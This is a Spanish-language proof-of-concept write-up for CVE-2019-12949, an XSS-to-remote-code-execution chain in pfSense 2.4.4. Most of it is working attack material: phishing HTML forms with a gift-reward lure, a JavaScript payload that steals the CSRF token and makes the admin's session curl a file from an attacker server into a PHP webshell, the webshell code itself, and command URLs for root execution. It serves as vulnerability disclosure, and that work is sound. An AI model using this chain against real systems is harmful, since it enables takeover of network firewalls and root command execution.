
CVE-2019-12949
En pfSense 2.4.4-p2 y 2.4.4-p3, si es posible engañar al administrador autenticado para que haga clic en un botón de una página de phishing, un atacante puede subir código ejecutable arbitrario a través de ding_command.php y rrd_fetch_json.php a un servidor. Luego, el atacante remoto puede ejecutar cualquier comando con privilegios de root en ese servidor.
Investigador: Enter de The Tarantula Team, VinCSS (miembro de Vingroup)
Vector de ataque: https://pfSense_IP_Address/rrd_fetch_json.php
Enviar una solicitud POST:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
El atacante puede crear un sitio de phishing como este para explotar la vulnerabilidad XSS en pfsense:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
El archivo payload.js en el servidor del atacante contendrá el siguiente código Javascript (Payload):
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
El archivo shell.txt en el servidor del atacante contendrá el contenido de cualquier webshell PHP, como este:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
Finalmente, el atacante engañará a los administradores autenticados de pfsense (la víctima) para que accedan al sitio de phishing y hagan clic en el botón 'Submit' del sitio de phishing. Luego, la víctima será redirigida al sitio de administración de pfsense, y el webshell del atacante se cargará automáticamente con éxito en el servidor de pfsense.
Desde allí, el atacante remoto puede ejecutar código arbitrario como root en el servidor pfsense:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls